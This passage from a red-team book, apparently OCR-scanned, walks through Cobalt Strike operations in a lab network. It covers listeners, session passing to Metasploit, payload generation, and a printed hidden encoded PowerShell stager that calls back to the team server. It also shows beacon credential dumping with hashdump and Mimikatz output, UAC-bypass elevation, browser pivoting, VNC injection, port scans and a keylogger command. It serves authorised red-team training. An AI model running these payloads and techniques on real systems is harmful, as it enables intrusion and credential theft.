project is to enable red teams, or any other colour team, to work together on engagements in a more seamless and
integrated way than using Empire as a command line tool."

The only problem with using Empire-GUI is that it only works with Empire version 3.0,
which is currently in a beta testing phase.
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Summary

In this chapter, we have covered some more advanced uses of the Empire tool to get
access to the Domain Controller. We have also done this using an automated Python
script called DeathStar. We then covered Empire's use through a GUI web interface. In
the next chapter, we will cover the basics of C2 and the different architectures that can

be used to set up the red team infrastructure.
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Questions

N —

whn B~ W

. Are there any other exploitation techniques to get access into Domain Controller?
. What 1f bypassuac_eventvwr module doesn't work? How can we escalate the privileges

without this module?

. Will DeathStar always be able to retrieve the Domain Admin's credentials?
. Is there a workaround if the mimixat- module doesn't work?
. Is it necessary to have access to domain user account for domain controller

enumeration?
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Further reading

Automating the Empil‘e with the Death Star: https://byt3bl33d3r.github.io/automating-the-
empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html

Technet24


https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html
https://technet24.ir
https://technet24.ir
https://technet24.ir

Cobalt Strike - Red Team Operations

In chaprer 4, Getting Started with Cobalt Strike, we learned about Cobalt Strike and how
to set it up. We also learned about its interface and its different features. In this chapter,
we will go into more detail about this tool and learn about how it is used. We will
cover the following topics:

Cobalt Strike listener
Cobalt Strike payloads
Beacons

Pivoting with Cobalt Strike
Aggressor scripts
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Technical requirements

e Metasploit Framework (MSF)
e PGSQL (Postgres)

e Oracle Java 1.7 or latest

e Cobalt Strike

Technet24
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Cobalt Strike listeners

First, start the Cobalt Strike team server and connect to it. Once we have the interface
up and running, we will start a listener. A listener 1s a handler that handles all the
incoming connections. To do this, go to the Cobalt Strike menu and choose Listeners, as
shown in the following image:

' Cobalt Strike | View

New Connection !

Preferences

Visualization b

VPN Interfaces

Script Manager

Close

This will open a new window where we create a name for this listener. Next, we have
to choose the payload. Cobalt Strike has two kinds of listeners:

e Beacon: Beacon-based listeners will listen or connect to the connections coming
from the beacon payload. We will learn more about this in the later part of this
chapter.

e Foreign: Foreign listeners are basically used to pass sessions to another instance
of Cobalt Strike or even to Metasploit or Armitage.

In the new window that opens, we choose a name for our listener. We then choose the
type of payload, which in this case will be windows/beacon_nteps. Next, we enter the host
name and port number and click Save:
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e & Mew Listener

Create a listener.

MName:

Payload: \windows/beacon_https/reverse_https ~

Host: 192.168.2.6

Port: 443

]

As we have a beacon payload, we will get another alert box asking us to provide the
domain name and IP address of the system on which our team server is running. We
enter this information and click OK, as shown in the following image. We can put the IP
of our redirector as well. This will be covered in the coming chapters:

& Input
This beacon uses HTTP to check for taskings. Please provide the
2" domains to use for beaconing. The A record for these domains
must point to your Cobalt Strike system. An IP address is OK.
Separate each host or domain with a comma.

19216827

We will then see that our newly created listener is up and running:
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_RevHttpsBeacon_  windows/beacon_https/reverse_https 192,168.2.7 443 192,168.2.7
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Foreign-based listeners

This listener is used to pass a session to multiple cobalt strike instances or even to
Metasploit/ Armitage. Let's take a quick look at how this is done. We must already have
at least one compromised host so that we can pass its session somewhere else. In the
following example, we already have a connected host on Cobalt Strike via the beacon
payload:

Cobalt Strike View Attacks Reporting Help
O O E=¢ BELLU GeEH /o B G

external internal = user computer note

=T+ 192.168.0.96 192.168.0.96

As we can see, we already have a connected beacon. We now want to pass the session
to Metasploit for further exploitation. We will start Metasploit/ Armitage and run a
handler, as shown in the following screenshot:

msf exploitl( ) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit( ) > set lport 8081

lport => B@81
msf exploit( > run -j

Once the handler is running, we go to our Cobalt Strike window and create a new
foreign listener with the IP and port on which the handler is running:
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& & Mew Listener

Create a listener.

Mame: MSF

Payload: 'windows/foreign/reverse_http -

Host: 192.168.0.50

Port: 8081

| save |

Once we click Save, we will see a new listener has now been created, as shown in the
following screenshot:

& ¥ S

Eventlog X Listenars X

name payload host * port beacons
MSF windows/foreign/reverse_http 192.168.0.50 8081
test windows/beacon_http/reverse_http 192.168.0.50 B080 192.168.0.50

To pass a session, we right-click on the host and select Spawn, as shown in the
following screenshot:
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external internal = user computer
192.168.0.96 192.168.0.96

Explore ¢
Pivoting *

Session ¥

A new window will open to show a list of the currently running listeners. We can either
choose from these or create a new one. In this case, we will choose the listener MSF
and click the Choose button:

000 Choose a listener

name payload host port
test windows/beacon_http/reverse_http 192.168.0.50 8080
MSF windows/foreign/reverse_http 192.168.0.50 8081

| Choose || Add || Help |

We will see a new Meterpreter session open up in our Metasploit window:

1

msf exploitl( } > http://192.168.0.5@:8081 handling request from
192.168.8.96; (UUID: bwaludim) Staging xB6 payload (188825 bytes) ...

Meterpreter session 1 opened (192.168.8.50:8081 -> 192.168.0.96:55584) at 20
18-09-19 84:00:26 +8530
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Cobalt Strike payloads

Cobalt Strike supports a lot of different types of attacks and allows you to generate
payloads easily from the menu. This is a very useful feature when performing a red team
activity because it means you don't have to spend time switching between tools to create
different payloads for different attack types, such as spear phishing or drive-bys. In this
section, we will look at some of the attack types that are provided by Cobalt Strike and
how to generate a payload with them.

To view the different types of payloads that we can generate from Cobalt Strike, click
on Attacks from the menu, as shown in the following screenshot:

View Attacks Reporting Help

[ {raceges Vi spicaion (LA IL

Web Drive-by * | M5 Office Macro _ user
Spear Phish Payload Generator
USB/CD AutoPlay

Windows Dropper
Windows Executable
Windows Executable (S)

Cobalt Strike supports payload generation for three types of attack vectors: Packages,
Web Drive-Bys, and Spear Phishing. Each of these are explained in more detail below

Packages:

e HTML Application: This generates an HTML application with either an
EXE,VBA, or PowerShell-based payload. The output generated n:= file needs to be
opened on the Internet Explorer of the Victim's system.

e MS Office Macro: This option generates a VBA macro, which we can embed in
MS Office. This is very useful as red team attacks often involve exploiting the
human element to gain access to the internal networks of the corporation.
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e Payload Generator: This will only generate a payload in the desired format and
save it to a file. We need to execute the payload on a system manually.

e USB/CD AutoPlay: This package generates an autorun.int that abuses the AutoPlay
feature on Windows. It only runs on Windows XP and Vista systems.

e Windows Dropper: This package creates a Windows document dropper. It drops a
document to disk, opens it, and executes a payload. We need to specify the
document into which the payload will be embedded.

e Windows Executable: This is used to create an EXE or DLL-based payload which
again needs to be deployed manually.

e Windows Executable(s): This generates a stageless beacon in EXE, DLL, or
PowerShell format.

Web Drive-by:

It Strike  View 5ttack5.|ﬁepnrﬂ'rg Help
30 Eirndes PLHEwBED e I
FOSTEN iico Orve-by » [T | -

Spear Phish Clone Site

Scripted Web Delivery
Signed Applet Attack
Smart Applet Attack
System Profiler

Web Drive-by has the following options:

e Manage: Here, we can view and manage the currently deployed drive-by payloads.
e Clone Site: This can be used to clone a site. We can choose to add a payload
manually to it later or Cobalt Strike can automatically log keystrokes on it.

e Host File: Using this option, Cobalt Strike can host a file by creating a web server
for us.

e Scripted Web Delivery: This attack generates a payload and gives us a one-liner
command to execute code on a system using PowerShell, BITSAdmin, Python, and
SO on.

e Signed Applet Attack: This package sets up a self-signed Java applet. This
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package will spawn the specified listener if the user gives the applet permission to
run.

e Smart Applet Attack: The smart applet detects the Java version and uses an
embedded exploit to disable the Java security sandbox. This attack is cross-
platform and cross-browser.

e System Profiler: The system profiler is a client-side reconnaissance tool. It finds
common applications (with version numbers) used by the user and reports them
back to us.

Spear Phishing:

e This option can be used to launch targeted attacks while carrying out a red team
activity. We can set the receivers, phishing templates, and SMTP servers and click
Send to perform the attack:

O [ Spear Phish

To To_MName

Targets: |

Template: [

Embed URL:

l
|
| Attachment: ]
l
l

| Mail Server:

Bounce To: ﬂ ------------------------------------------------------------------------------------------------------------ ]

| Preview || Send || Help |

Let's look at an example of payload generation and execution. We will use the Payload
Generator. Go to Attack, click on Packages, and then click on Payload Generator, as
shown in the following screenshot:
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HTML Application. | P | B B

| E—— e

Web Drive-by * | MS Office Macro user
Spear Phish Payload Generator
USB/CD AutoPlay

Windows Dropper
Windows Executable
Windows Executable (5)

After this, a new window will open. Here, we need to choose the listener we wish to
receive our connection on and the output format of the payload. We will choose
PowerShell Command and click Generate:

® e Payload Generator

This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available.

Listener: |test et | Add |

Output:

x64:
COM Scriptlet
Java F
Perl |
PowerShell

P:Irthﬂn - <l
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A new window will open asking us to choose the output folder and the payload will be
generated and copied into a .ext file:

host port
- ] m
8080

Saved PowerShell Command to
JUsers/Himanshu/Desktop/payload.td

If we open the .txt file, we will see a base64 encoded PowerShell Command, as shown
in the following screenshot:
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00 — G

powershell.exe -nop -w hidden -encodedcommand

JABZADBATqB LAHCALOBPAGTAaqB LAGMAGAAQAEKATWAUAEBAZQBAGBACQBSAFMACABYAGUAY(Bt ACQALABDAEMADWBUAHYAZQBYAHQAXQAGADOARgBYAGE
ABQBCAGEACwB LADYANABTAHQACoBpAG4AZwADACIASAARAHMASOBBAEEAQQBBAEEAQQBBAEEAQBMADEAWAB LADIALWBhAHKAQQB 1ACBATWAZAHCASWBRAH
QAABKAHQAaWBVAEEAQQA4ACAAUWBTAHAARQAZAETAZWBAADI AZBRAFYAagBRAD gASWBPAGEALABBAE BANgBWAE sAeABoAD kACABOAEQAQAAZADT AdQArA
(BAWQBAEAYqB LAHAASAB1AHOAZAAZAFYAcqB3AGQASABADUA CAB3AHOANQAVAHOATwAWAHOAY gBtAFY AegBhAFAA(BNAGY ANWBEAE cASABWAHKACWEN
AFIAVABGAGCADWBWAFEAAQBGAHKAABZAHoAdQBYAFEAC gBmAFoAUQBMAHEA=QBUADAAZQBMAHEAZABMAGANOAS AHoA Qg A4ADMAROBAEBAZOBAFUAS OB
5AGoADQBOAHAAe gA4AEWARBDAEUAWQB3AGSASBUAEWATABZAK cAZOBBADQAWQB TAGKADWEAFMADQBWAEUALWBZAHAAUQGBFAF cATAAYADQASWBGAHgAGW
BXADAAaWBZAHCA=ABWACSARABDAEUADQBXACBATWBZAF KATAAAGBASWBCAF kAWABLAF gATwB3ADIAYgBSAFKAQQBFAGBANAATAF AAQwBoAGRAVQBRAF TAR
AB2AG4AeABIADKAVABCAE gATOBRAHgARABWAGEAVOAGAE YASABSAHARY QAvAFMAZABIADAAR gBAEQAV QB JAFAADOBHAF AAUWAZADKASWBSADQAKBSAEQA
bOBWAEwAUWBTAEBAEQBRAHQAT gA2AGEAMgBFAFEAQWBGAEYANgAXAGBATQB LAFQADwAWAGBAMBSAHQASWBIAEMATAAVADGANQR LAHMAegBXACS AMABSAGE
AbgASAEBAWQBFADAAVgBEAFQANWBFAEQATOB) AGwACgBDAGwWACwEPAHAAOQBVADKATQBMAE DANAB  AE4AVQBIAFEAKWAJARMASQBXAHMARABVAHYAVABVAG
wAQBXADUAY(B  AFQAUABBAETAcABuAH0ALwBXAEWAG(B ZAEYAbwBSAHOARQE LAF0ASqBGAEUACQAVAE4AagBHAFYAZQB LAFTAUQBAAEWARQE j AEMAVWBUA
EEARQBVAEYANqBMAFoAbgBoAGwAagAxAGoANQBUAEATQBLAEMAMOBLAEANQBWADUACoBRAEEANABDAF (AawBKAHMARABOAGAATWBHAE kAYqBHADAAZABL
ADQAGQBHADQAMOBJAFUAABAG4AQBNAFYAdwBOAGwAZwB TAGMADgBTAE4ANWBLAHAASB3AH0AQwBRAGBAUgBADKAUgBpAD cAcoAZADMAN g BOAD CAUAB
YAEgAdwBVAE0ANgBzAHYAABUACSATABBADEAVOA4AEWAMgBKAETATAB YAHCACB2AETASQBWAEMARgBQAHMAUQABADQAZBIAF kARAATAEWASWB3AE SARY
BAAGYAegBiAEKADQBGAFAAYWEXAEKARABTAFQAaqB1ADUAVOBXAFTAYQBrAHYADABAEMAYWBSAFEAZgBAAGUAVAB T AEOARQBXAHCAJQBWAEGADgBXAHUAG
0BsAGkAWBHAD kANWABAGBAe(BMAHYAeABTAGsAbgB1AGgAOBUAHEAT(B6AGO AMWBYAGH ALWBUAEBAWABFAGIAUQBVAFgARWBSACs AegBzAD cAVABnADgA
ZABsAFEAaQBoAEMAVQBVAHIAGwA2ADgAGABRADQAL gBVAE0AY\E LAMALQB3AGBANgABAHAAKWBCAFUANABUAE BAY(BY AGWARWE | AEEAVBJADY AawBRADT
ARQBVAGBACQB] AEDAMaBEAFUARQBIAE CAUgBVADAAVABUAEWADQBUAGEAQQB 1AEQAZgB LAGYAVwBaAGMACwBBAFQAR QBVACSARGBWAGKASOBTADEASQAAF
YATwBUAHAAUQB rAGMAMgB3AGoAdwBNAET ANABQAEYAY gBGAHMANQBRAGKANgBUAEEASgAr AGBADABEAF EANgBuADIAOQBOAHYAUQBTAFEAMWBLAFKAegBOA
(:8AagBSAEsAUgBFADUANGBSAGHAgBHAGSARWBKAFUALABFAEEAWQB rACBAawBJAE 0ASqBAAGWAUWAVAGBASABARY AMgBFAGMAGOBMAE TADQBKACBARQRM
AGQAUQBYAEKATQAYAHYAYgByAEAWALAGWASABDAEMAZoB) AESARWBDAGIAMoBCAG4ACWEFADAAGABTAF YADWBOAFEADABDAEBACWBIAGBALWBNAG4ARE
LAFTAWABNAF cAbABDAFMAawBUAGBAQwAWAGWAYgAGAF IATwB4AGSAMBKAGADABEAF TAbWE JAGWAVAA4AHoAdWBCAF T AUWBGACTAbQBaAHT AQwBoAEBA
BEAFUAVWE  AFUAQWBLAFAAUGBGAGYAYwBoAFQASWBvAHMAMWAZAE CATOBrACBANAAZAGEA CAAWAFEANQBaAGSAVWBLADEAUQBtAGSATOA2AFYARBBAE AR
0BVADGAYQBMAGsAawBvAGKATABHAGKALQBYAF gAMABUAGUAdgAxAFQAdgA1ADUATAAWAGSANQASAE4AQWBPAGUAZBWAEWAS gBVAG4ATWB ZAE gADg BpAF oA
TQBSAHUARQBSAGAAZBEADIATWALAGCANgBKAET ARQBYAHMAQQB rAFTAQwAZAFEANQABADUAGAAZADTAagBKAEMAWAAVAGBAGABQAEMALQBXAEUATQA rADK
ARWBKAE KAKwBZAHAANGBKAF oAdQA3AEUAMgBAAGUAAgBRADTAwE tAGEALwAYAEBAUABSAGWAUAAZAFgATABNAGEADABRAGoAagBRAEUAQQBAAEBAZB2AH
YATQBZAEEAZOBDAKYAUWBNAE sAe(BaAGBATABzAGOARB 1AEAQgBVAEWATgAZADEARQBYAE cAcgBgAHYAKwBCAE0AQQB1ADkAdgB4AD CAbWB 2ACS AKWBRA

Once we execute this code, we will receive a connection on our server, as shown in the
following screenshot:
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Eventlog X | Listeners X | Listeners X

89/16 16:34:20 neo
09/16 18:28:41 himanshu

09/16 18:30:23 s+ 1initial beacon from PT@192.168.2.14 (PT-PC)
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Beacons

Beacons is a payload used by Cobalt Strike. It is flexible and supports both
asynchronous and interactive modes of communication. The asynchronous mode can be
quite slow. In this mode, the beacon calls home every once in a while, receives a list of
the tasks that are assigned to it, downloads them, and goes back to sleep. This helps in
avoiding detection on the remote system. In interactive mode, however, everything
happens in real time. Beacons have malleable network indicators, which means they
have a Malleable C2 profile. This is responsible for transporting the data, transforming
it for storage, and reinterpreting it backwards. We will learn more about this in the later
chapters of this book. For now, let's look at the different features a beacon has and how
to use them.

Cobalt Strike offers two ways to access the beacons:

e The beacon menu
e The beacon console
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The beacon menu

The beacon menu can be accessed by right-clicking on the host. The Access menu
contains the options shown as follows:

Elevate
Golden Ticket
Make Token
Session Run Mimikatz

Spawn As

e Dump Hashes: This will run the nashaump command on the beacon as shown below,
which dumps the system's NT LAN Manager (NTLM) hashes. It requires
elevated privileges:
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Eventlog X | Lsteners X | Beacon 192.168.2.14@3572 X | Beacon192.168.2.14@3212 X

beacon> nashdump

[#] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes:

Administrator:500:aad3b435h51404eeaad3hd35h51404ee: 31d6cfedd16aed31h73c59d7e0c089¢c0: : :

Guest:501:aad3h435h51404eeaad3hd35h51404ee: 31d6¢ fedd16aed3Lh73¢59d7e0c089¢0: ::
Himanshu:1004: aad3b435h51404eeaad3ha35h51404ee: a74f5eh76e71ch232b27c632d263a846: : :
HomeGroupUsers: 1002: aad3b435h51404eeaad3bd35h51404ee: 4addch2e71hlab0ea267hbbef590a679: :
PT:1001:aad3b435h51404eeaad3ha35h51404ee: ee206513a3fac f8228h7dbhfa302¢ef: ::

e Elevate: Cobalt Strike has a few inbuilt exploits for privilege escalation that we
can use to gain admin rights. We choose Access | Elevate from the menu, as shown
in the following screenshot:

Pivoting * | Golden Ticket
Spawn Make Token
5ession ' | Run Mimikatz

Spawn As

Clicking on this option will open a new window where we will be asked to
choose an existing listener or to create a new one and choose the exploit we
want to run:
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Cobalt Strike View Attacks Reporting Help
O H=¢ BFLU GwBE e B

PT-PC @ 3572

. NON | Elevate

Attemnpt to execute a listener in an elevated context.

Listener: 'Revhttps

Exploit: ‘uac-dll

Launch || Help |

Once we click Launch, we will see the following command being run in the
console. The exploit will be executed, shown as follows:
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beacon> elevate uac-dll Revhttps

[#] Tasked beacon to spawn wilndows/beacon_https/reverse https (192.168.2.7:443) in a high integrity process
[+] host called home, sent: LL1675 hytes

[+] received output

[#] Wirote hijack DLL to 'C:\Users\PT\AppData\Local\Temp\ch54.dll'

[+] Privileged file copy success! C:\Windows\Systen32\sysprep\CRYPTBASE.dll
[+] C:\Windows\Systen32\sysprep\sysprep.exe ran and exited.

[#] Cleanup successful

If the exploit is successful, a new elevated session will be created:

PT
PT-PC @ 3572

PT-PC @ 3212

e Golden Ticket: This option has multiple dependencies and may not work all the
time. This is because it requires the user we want to forge the ticket for, the domain
name, the domain's security identifier (SID), and the NTLM hash of the Kerberos
ticket-granting ticket (KRBTGT) user on a Domain Controller (DC). These are
not always available. If we do have this information, however, the Golden Ticket
option would basically generate a golden ticket and inject it in our current session
to gain elevated privileges.

e Make Token: This option allows us to pass credentials to Cobalt Strike, which will
generate a token for us.

e Run Mimikatz: Cobalt Strike beacon is integrated with Mimikatz. This means we
can use Mimikatz features from the beacon itself. We can use this option by right-
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clicking on the host and then clicking on Access | Run Mimikatz:

e

Sy ®
1 | n
PT % ll!!5=‘ll :

-
PT

e

PT-PC @ 1728

PT-PC @ 3572

= .Qump Hashes
ATl Explore ' | Elevate
Pivoting * | Golden Ticket
Spawn Make Token
Session ¢ | R0

Spawn As

This will dump the hashes, shown as follows:
beacon> logonpasswords
[#] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 526942 bytes
[+] received output:

Authentication Id : @ ; 5898501 (00000000:085%e1c5)
Session : Interactive from ©
User Name : John
Domain : L33T
Logon Server : WIN-9PIACAHV7U3
Logon Time : 9/16/2018 3:21:38 AM
SID : 5-1-5-21-3140846176-3513996709-3658482848-1106
msv :
[00000003] Primary
* Username : John
* Domain : L33T
* NTLM : 9182274425effbe8Balabd8df23d56¢cc

il ) L

[PT-PC] PT %/3212
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The dumped credentials can be viewed by going to the View menu and
choosing the Credentials option:

Cobalt Strike  View | Attacks Reporting Help

BB () applications B E PLU GwBE £ 8§
Credentials

Downloads

Event Log
o Keystrokes

PT-PC @

i

This will open a new tab where all the dumped credentials can be viewed:
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Fent o X | Litners X | Beacon 2682040572 X | Beacon 901682040010 ) | Credentas X

Lser pRssOrg e e e hoet

il eed065 L afacBL28b7donf B0 cef PT-C heshdump 192168.2.14
Himanshy 74T ch 300 Teb 3228 3a40 PT-RC heshdump 192.168..14
iy QueQWEBstASDDDNCIL k] iz 192168214
jon mGMNBILKpaPO10360% L3TLOCAL iz 192168.2.14
Jon mngMNBIGLKIpaPOI09gS8 L3TLOCAL iz 192168.2.14
hary 40aBandibcbB226c27oB0abcfachs 33T iz 192168.2.14
hary QueQWERsdASDmHCZNCI23 @ L33TLOCAL iz 192168.2.14
Adminstrator 31fe0d1Bae331b73cSa7eclBde) T4 heshdump 192168214
i 0182274425 oefatabeBar23a56ec k] iz 192168214
Jon mGMNBILKpaPO10360% 33T iz 192168.2.14
il iy T iz 192168.2.14
PT-PCIPT hary PT-PCIPT iz 192168.2.14
(Glest 31dfce0diaed31073c597e0c0B9e0 PT-C heshdump 192168.2.14

‘ Add H il H Copy H Bt H Remore H Help ‘

e Spawn As: Once we have gained the credentials of other users, we can use Spawn
As to launch another beacon as a different user on the system:
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*»

-l &m
PT * b

PT-PC @ 1728

PT

PT-PC @ 3572

AEIQ pivoting

Session ¢

Clicking on the Spawn As option will open a new window, shown as follows:

Elevate
Golden Ticket
Make Token
Run Mimikatz

Technet24
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000 Spawn As

user password realm note
harry qweQWEasdASDzxcZXC123!@#  L33T

john mnbMNBIkjLKIpoiPOIN98098 L33T.LOCAL

John mnbMNBIkjLKIpoiPOIN98098 L33T.LOCAL

harry qweQWEasdASDzxcZXC123!@#  L33T.LOCAL

John mnbMNBIijLKIpoiPOI098098 L33T

PT harry PT-PC

PT-PC\PT harry PT-PC\PT

User: ,[]crhn

Password: [mnhMNEijLKJp@iPDIDQEDﬁE

|
|
Domain: [BET ]
|

Listener: !Revhttpﬁ % | Add |

| Launch || Help |

In this window, we choose the user we want to spawn as and the listener on
which we want the beacon to connect, and click on the Launch button. This will
automatically run the command spawnas and we will see a new connection pop up:

beacon> spawnas L33T\John mnbMNB1kjLKIpo1POI098098
#] Tasked beacon to spawn windows/beacon_https/reverse https (192.168.2.7:443) as L33T\John

1+] host called home, sent: 3705 bytes

[PT-PC] PT #/3212
beacon>
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Explore menu

The options available in the Explore menu are as follows:

e Browser Pivot: Cobalt Strike allows us to do a man-in-a-browser attack to hijack
a victim's authenticated browser session. Cobalt Strike sets up a proxy server
which injects into Internet Explorer. When we browse through this server, we will
be able to inherit all the cookies, client SSL certificates, and all the authenticated
HTTP sessions. Let's take a look at how to perform this attack. First, right-click on
the host and go to Explore | Browser Pivot, shown as follows:

Desldop (VNC)

File Browser

MNet View
Port Scan
Process List
Screenshot

This will open a new window with a list of currently running Internet explorer
processes on the system. Cobalt Strike automatically recommends to us the best
child process to inject into. As shown in the following screenshot, we need to
choose the process and the port number:
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| [ 0K Browser Pivot

PID PPID Arch Name User

828 1944 ¥64 explorer.exe L33T\john

2524 884 ¥64 explorer.exe PT-PC\PT

3896 2524 %86 iexplore.exe PT-PC\PT

3680 3896 xB6 lexplore.exe PT-PC\PT y

Proxy Server Port: /15858 |

‘ Launch H Help |

Once we click on the Launch button, the proxy server will be started. We can
then open our local browser and set the IP of the team server and the port
number we defined before as a proxy in our browser to view the authenticated
user sessions:

hinanshu beacon> spawnas L33T\John mnbMNBLk]LKJpo1POI098098

[*] Tasked beacon to spawn windows/beacon_https/reverse_https (192.168.2.7:443) as L33T\John
[+] host called home, sent: 3705 hytes

hinanshu beacon> spawn Revhttps

[#] Tasked beacon to spawn (x86) windows/beacon_https/reverse_https (192.168.2.7:443)

[+] host called home, sent: 562 bytes

beacon> browserpivot 140 x86

] Injecting browser pivot DLL into 140

+] Browser Pivot HTTP proxy 1s at: 192.168.2.7:8888
[+] started port forward on 14255 to 127.0.0.1:14255

e Desktop (VNC): This feature allows us to view the desktop of the machine through
virtual network computing (VNC). We can run this by choosing Desktop (VNC)
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from the Explore menu, shown as follows:

Browser Pivot

Desktop (VNC)

File Browser

Net View
Port Scan
Process List
Screenshot

As you can see in the following screenshot, the beacon will inject the VNC
server into the victims process, and port forward it to our team server's IP. We
can then connect to the IP and port of our team server through any VNC client to
view the desktop:

beacon> desktop
[#] Tasked beacon to inject VNC server

[+] host called home, sent: 344 bytes
[+] started port forward on 9642 to 127.0.0.1:9642

e File Browser: This feature is self explanatory. We can browse the files and folders
on the victim's machine through a GUI using this option:
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Browser Pivot
Desktop (VNC)
Net View

Port Scan
Process List
Screenshot

Initial

When you choose the File Browser option from the menu, a new tab will open,
in which we can view and browse the victim's files and folders, shown as
follows:

e

D « Name Size
e D2
i E
@ F

| Upload... H Make Directory H List Drives || Refresh H Help ‘
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e Port Scan: Port Scan allows us to scan the internal network of the victim's
machine. To run a scan, go to Explore | Port Scan, shown as follows:

Browser Pivot
Deskiop (VNC)

File Browser

Net View
Port Scan
Process List
Files 192.168.2.14@3212 X | Screenshot

A new window will open, showing us the internal IP and netmask of the victim,
We choose the IP, specify the ports, and choose the type of scan. In this case, we
will choose an ARP scan to discover online hosts on the network:

00 Scan

address netmask

192.168.2.0 255.255.255.0

Ports: |1-1024,3389,5000-6000 ]

Max Sockets: |1024 ]

Discovery: |arp x |

| Scan || Help |
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Once we click on the Scan button, we will see a new tab open, shown as
follows. Cobalt Strike will perform the ARP scan and then return a list of
reachable hosts in the network:

beacon> portscan 192.168.2.0-192.168.2.255 1-1024,3389,5000-6000 arp 1024
[*] Tasked beacon to scan ports 1-1024,3389,5000-6000 on 192.168.2.0-192.168.2.255
[+] host called home, sent: 75325 bytes

[+] received output:

(ARP) Target '192.168.2.14' 1s alive. 08-00-27-2D-4D-E0

(ARP) Target '192.168.2.1' 1s alive. B8-C1-A2-3D-B2-1C

(ARP) Target '192.168.2.5' 1s alive. 08-08-27-25-7C-77

(ARP) Target '192.168.2.8' 1s alive. 28-F@-76-48-E9-A4

(ARP) Target '192.168.2.17' 1s alive. 08-00-27-0D-93-D4

(ARP) Target '192.168.2.2' 1s alive. 70-77-81-55-2D-29

(ARP) Target '192.168.2.3' 1s alive. F@-C7-7F-4C-47-10

(ARP) Target '192.168.2.6' 1s alive. 94-65-2D-74-5A-63

(ARP) 2.7" 1s alive. 30-35-AD-BD-C2-6E

(ARP) 2.9' 1s alive. 5C-F9-38-8(-84-94

Target '192.168.
Target '192.168.

8
L
2
3
b
7
9

e Process List: This option shows us a list of all the running processes on the system:
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PT
PT-PC @ 3572

Browser Pivot
| Pivoting * | Deskiop (VNC)
Spawn File Browser
Session Net View

Port Scan

Screenshot

As shown 1n the following screenshot, we can inject the beacon into another
process using the Inject option. We can also log keystrokes, take a screenshot,
and so on:
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Beacon console

The beacon menu does not show us all the features that are available. However, Cobalt
Strike also provides us with the beacon console so that we can fully utilize its features.
The beacon console can be opened by right-clicking on a host and choosing the Interact
option:

Access *
Explore ¢
Pivoting *
Spawrn

Session ¢

This will open the console from which we can command the beacon to perform the
desired actions. Before we run commands, however, we must first set the sleep time of
the beacon to zero, so that it changes its state to interactive from asynchronous, as we
want to receive the output of the command in real time. We can do this by typing sieep o:

beacon> sleep 8

[#] Tasked beacon to become interactive

To view a complete list of all the commands, we can type the ne1p command:
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beacon> help

Beacon Commands

Command
browserpivot
bypassuac
cancel

cd
checkin
clear
covertvpn
cp

dcsync
desktop
dllinject
LGET
downloads

Description

Setup a browser pivot session

Spawn a sesslon in a high integrity process
Cancel a download that's in-progress
Change directory

Call home and post data

Clear beacon gueue

Deploy Covert VPN client

Copy a file

Extract a password hash from a DC

View and interact with target's desktop
Inject a Reflective DLL into a process
Download a file

Lists file downloads in progress

Let us now look at a few commands in detail:

e owa: This prints the current working directory:

beacon> pwd

[#] Tasked beacon to print working directory
[+] host called home, sent: 8 bytes

[#] Current directory 1s C:‘\Windows‘system32

[PT-PC] PT */5968

beacop>|) |

® nashaump: 1his dumps the password hashes from the system:
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himanshu beacon> hashdump

[¥] Tasked beacon to dump hashes

[+] host called home, sent: 165018 bytes

[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3bd35h51404ee: 31d6c fedd16ae931h73c59d7e0c089c0: : !
Guest:501:aad3b435h51404eeaad3ba35ho1404ee: 31d6cfadd16ae931h73c59d7e0c089¢0: : :
Himanshu:1004:aad3b435h51404eeaad3bd35h51404ee: a74f5eb76e71ch232b27c632d263a846: : :
HomeGroupUsers$ : 1002: aad3h435h51404eeaad3h4a35h51404ee: 4a9dch2e71h1ab0ea267bbbaf590a679: :
PT:1001:aad3b435h51404eeaad3bd35h51404ee : ee206513a3facf8228h7dbbf f8302¢ef: i :

[+] received password hashes:
Administrator:500:aad3b435h51404eeaad3bd35h51404ee: 31d6c fedd16ae931h73¢59d7e0c089c0: : !
Guest:501:aad3b435h51404eeaad3hd35h51404ee: 31d6cfedd16aed31h73c59d7e0c089¢0: : :
Himanshu:1004:aad3b435h51404eeaad3bd35h51404ee: a74f5eh76e71ch232b27c632d263a846: : :
HomeGroupUsers$ : 1002: aad3b435b51404eeaad3h435b51404ee: 4addch2e71h1abbea267bbbef590a679: :
PT:1001:aad3b435b51404eeaad3b435b51404ee : e206513a3fact8228b7dbbff8302¢ef: : !

e -ne11: This executes a command passed to it as a parameter into the system's shell
and prints out the output of the command in return:

beacon> shell whoami
[#] Tasked beacon to run: whoami
[+] host called home, sent: 14 bytes

[+] received output:
pt-pci\pt

Refer to the following table to see a complete list of commands and what they do. We
have already seen some of these commands being executed from the beacon menu:

Command Description

browserpivot Set up a browser pivot session
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bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in progress

cd Change directory

checkin Call home and post data

clear Clear beacon queue

covertvpn Deploy covert VPN client

cp Copy a file

desyne Extract a password hash froma DC

desktop View and interact with target's desktop
dllinject Inject a reflective DLL into a process

download

Download a file

downloads

List file downloads in progress

Technet24
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drives List drives on target

elevate Try to elevate privileges

execute Execute a program on target

exit Terminate the beacon session

getsystem Attempt to get system

getuid Get user ID

hashdump Dump password hashes

help Help menu

inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks

kerberos ccache use

Apply a Kerberos ticket from cache to this session
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kerberos ticket purge

Purge Kerberos tickets from this session

kerberos ticket use

Apply a Kerberos ticket to this session

keylogger Inject a keystroke logger into a process

kill Kill a process

link Connect to a beacon peer over SMB
logonpasswords Dump credentials and hashes with Mimikatz

1s

List files

make token

Create a token to pass credentials

mimikatz

Run a Mimikatz command

mkdir

Make a directory

mode dns

Use DNS A as data channel (DNS beacon only)

mode dns-txt

Use DNS TXT as data channel (DNS beacon only)
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mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mode http Use HTTP as data channel

mode smb Use SMB peer-to-peer communication

mv Move a file

net Network and host enumeration tool

note Assign a note to this beacon

portscan Scan a network for open services

powerpick Execute a command through Unmanaged PowerShell
